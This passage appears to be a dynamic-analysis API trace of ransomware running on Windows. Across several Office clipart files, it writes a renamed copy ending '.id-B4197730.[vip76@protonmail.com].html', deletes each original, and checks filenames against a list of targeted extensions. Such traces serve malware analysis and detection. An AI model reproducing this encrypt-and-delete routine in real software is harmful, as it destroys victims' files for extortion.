	[0198.371] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4054, lpOverlapped=0x0) returned 1
	[0198.373] WriteFile (in: hFile=0x514, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4060, lpOverlapped=0x0) returned 1
	[0198.374] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.375] WriteFile (in: hFile=0x514, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.375] SetEndOfFile (hFile=0x514) returned 1
	[0198.375] CloseHandle (hObject=0x514) returned 1
	[0198.375] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.375] SetEndOfFile (hFile=0x574) returned 1
	[0198.378] CloseHandle (hObject=0x574) returned 1
	[0198.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1
	[0198.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.379] lstrlenW (lpString=".doc") returned 4
	[0198.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.379] lstrlenW (lpString=".docx") returned 5
	[0198.379] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0198.379] lstrlenW (lpString=".pdf") returned 4
	[0198.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.379] lstrlenW (lpString=".xls") returned 4
	[0198.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.379] lstrlenW (lpString=".xlsx") returned 5
	[0198.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0198.380] lstrlenW (lpString=".ppt") returned 4
	[0198.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.380] lstrlenW (lpString=".zip") returned 4
	[0198.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.380] lstrlenW (lpString=".rar") returned 4
	[0198.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.380] lstrlenW (lpString=".bz2") returned 4
	[0198.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.380] lstrlenW (lpString=".7z") returned 3
	[0198.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.380] lstrlenW (lpString=".dbf") returned 4
	[0198.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.380] lstrlenW (lpString=".1cd") returned 4
	[0198.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.380] lstrlenW (lpString=".jpg") returned 4
	[0198.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.380] lstrlenW (lpString=".doc") returned 4
	[0198.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.380] lstrlenW (lpString=".docx") returned 5
	[0198.380] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0198.380] lstrlenW (lpString=".pdf") returned 4
	[0198.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.380] lstrlenW (lpString=".xls") returned 4
	[0198.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.380] lstrlenW (lpString=".xlsx") returned 5
	[0198.381] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0198.381] lstrlenW (lpString=".ppt") returned 4
	[0198.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.381] lstrlenW (lpString=".zip") returned 4
	[0198.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.381] lstrlenW (lpString=".rar") returned 4
	[0198.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.381] lstrlenW (lpString=".bz2") returned 4
	[0198.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.381] lstrlenW (lpString=".7z") returned 3
	[0198.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.381] lstrlenW (lpString=".dbf") returned 4
	[0198.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.381] lstrlenW (lpString=".1cd") returned 4
	[0198.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0198.381] lstrlenW (lpString=".jpg") returned 4
	[0198.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.381] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.381] lstrlenW (lpString="J0107492.WMF") returned 12
	[0198.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0198.566] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6860) returned 1
	[0198.567] CloseHandle (hObject=0x5c0) returned 1
	[0198.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220
	[0199.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.005] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.005] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0199.006] GetLastError () returned 0x0
	[0199.006] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1acc, lpOverlapped=0x0) returned 1
	[0199.007] WriteFile (in: hFile=0x368, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0199.009] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.009] WriteFile (in: hFile=0x368, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.009] SetEndOfFile (hFile=0x368) returned 1
	[0199.009] CloseHandle (hObject=0x368) returned 1
	[0199.009] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.009] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.013] CloseHandle (hObject=0x5bc) returned 1
	[0199.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1
	[0199.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.015] lstrlenW (lpString=".doc") returned 4
	[0199.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.015] lstrlenW (lpString=".docx") returned 5
	[0199.015] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0199.015] lstrlenW (lpString=".pdf") returned 4
	[0199.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.015] lstrlenW (lpString=".xls") returned 4
	[0199.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.015] lstrlenW (lpString=".xlsx") returned 5
	[0199.015] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0199.015] lstrlenW (lpString=".ppt") returned 4
	[0199.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.015] lstrlenW (lpString=".zip") returned 4
	[0199.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.015] lstrlenW (lpString=".rar") returned 4
	[0199.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.015] lstrlenW (lpString=".bz2") returned 4
	[0199.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.015] lstrlenW (lpString=".7z") returned 3
	[0199.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.016] lstrlenW (lpString=".dbf") returned 4
	[0199.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.016] lstrlenW (lpString=".1cd") returned 4
	[0199.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.016] lstrlenW (lpString=".jpg") returned 4
	[0199.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.016] lstrlenW (lpString=".doc") returned 4
	[0199.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.016] lstrlenW (lpString=".docx") returned 5
	[0199.016] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0199.016] lstrlenW (lpString=".pdf") returned 4
	[0199.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.016] lstrlenW (lpString=".xls") returned 4
	[0199.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.016] lstrlenW (lpString=".xlsx") returned 5
	[0199.016] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0199.016] lstrlenW (lpString=".ppt") returned 4
	[0199.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.016] lstrlenW (lpString=".zip") returned 4
	[0199.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.016] lstrlenW (lpString=".rar") returned 4
	[0199.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.016] lstrlenW (lpString=".bz2") returned 4
	[0199.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.016] lstrlenW (lpString=".7z") returned 3
	[0199.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.017] lstrlenW (lpString=".dbf") returned 4
	[0199.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.017] lstrlenW (lpString=".1cd") returned 4
	[0199.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0199.017] lstrlenW (lpString=".jpg") returned 4
	[0199.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.017] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.017] lstrlenW (lpString="J0107528.WMF") returned 12
	[0199.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.018] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6792) returned 1
	[0199.018] CloseHandle (hObject=0x5bc) returned 1
	[0199.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220
	[0199.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.019] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.019] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.020] GetLastError () returned 0x0
	[0199.020] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1a88, lpOverlapped=0x0) returned 1
	[0199.021] WriteFile (in: hFile=0x5c4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0199.022] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.023] WriteFile (in: hFile=0x5c4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.023] SetEndOfFile (hFile=0x5c4) returned 1
	[0199.023] CloseHandle (hObject=0x5c4) returned 1
	[0199.023] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.023] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.025] CloseHandle (hObject=0x5bc) returned 1
	[0199.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1
	[0199.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.027] lstrlenW (lpString=".doc") returned 4
	[0199.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.027] lstrlenW (lpString=".docx") returned 5
	[0199.027] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.027] lstrlenW (lpString=".pdf") returned 4
	[0199.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.027] lstrlenW (lpString=".xls") returned 4
	[0199.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.027] lstrlenW (lpString=".xlsx") returned 5
	[0199.027] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.027] lstrlenW (lpString=".ppt") returned 4
	[0199.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.027] lstrlenW (lpString=".zip") returned 4
	[0199.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.027] lstrlenW (lpString=".rar") returned 4
	[0199.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.027] lstrlenW (lpString=".bz2") returned 4
	[0199.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.027] lstrlenW (lpString=".7z") returned 3
	[0199.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.028] lstrlenW (lpString=".dbf") returned 4
	[0199.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.028] lstrlenW (lpString=".1cd") returned 4
	[0199.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.028] lstrlenW (lpString=".jpg") returned 4
	[0199.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.028] lstrlenW (lpString=".doc") returned 4
	[0199.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.028] lstrlenW (lpString=".docx") returned 5
	[0199.028] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.028] lstrlenW (lpString=".pdf") returned 4
	[0199.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.028] lstrlenW (lpString=".xls") returned 4
	[0199.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.028] lstrlenW (lpString=".xlsx") returned 5
	[0199.028] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.028] lstrlenW (lpString=".ppt") returned 4
	[0199.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.028] lstrlenW (lpString=".zip") returned 4
	[0199.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.028] lstrlenW (lpString=".rar") returned 4
	[0199.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.028] lstrlenW (lpString=".bz2") returned 4
	[0199.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.029] lstrlenW (lpString=".7z") returned 3
	[0199.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.029] lstrlenW (lpString=".dbf") returned 4
	[0199.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.029] lstrlenW (lpString=".1cd") returned 4
	[0199.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0199.029] lstrlenW (lpString=".jpg") returned 4
	[0199.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.029] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.029] lstrlenW (lpString="J0107544.WMF") returned 12
	[0199.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.030] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=26768) returned 1
	[0199.030] CloseHandle (hObject=0x5bc) returned 1
	[0199.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220
	[0199.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.031] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.031] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.032] GetLastError () returned 0x0
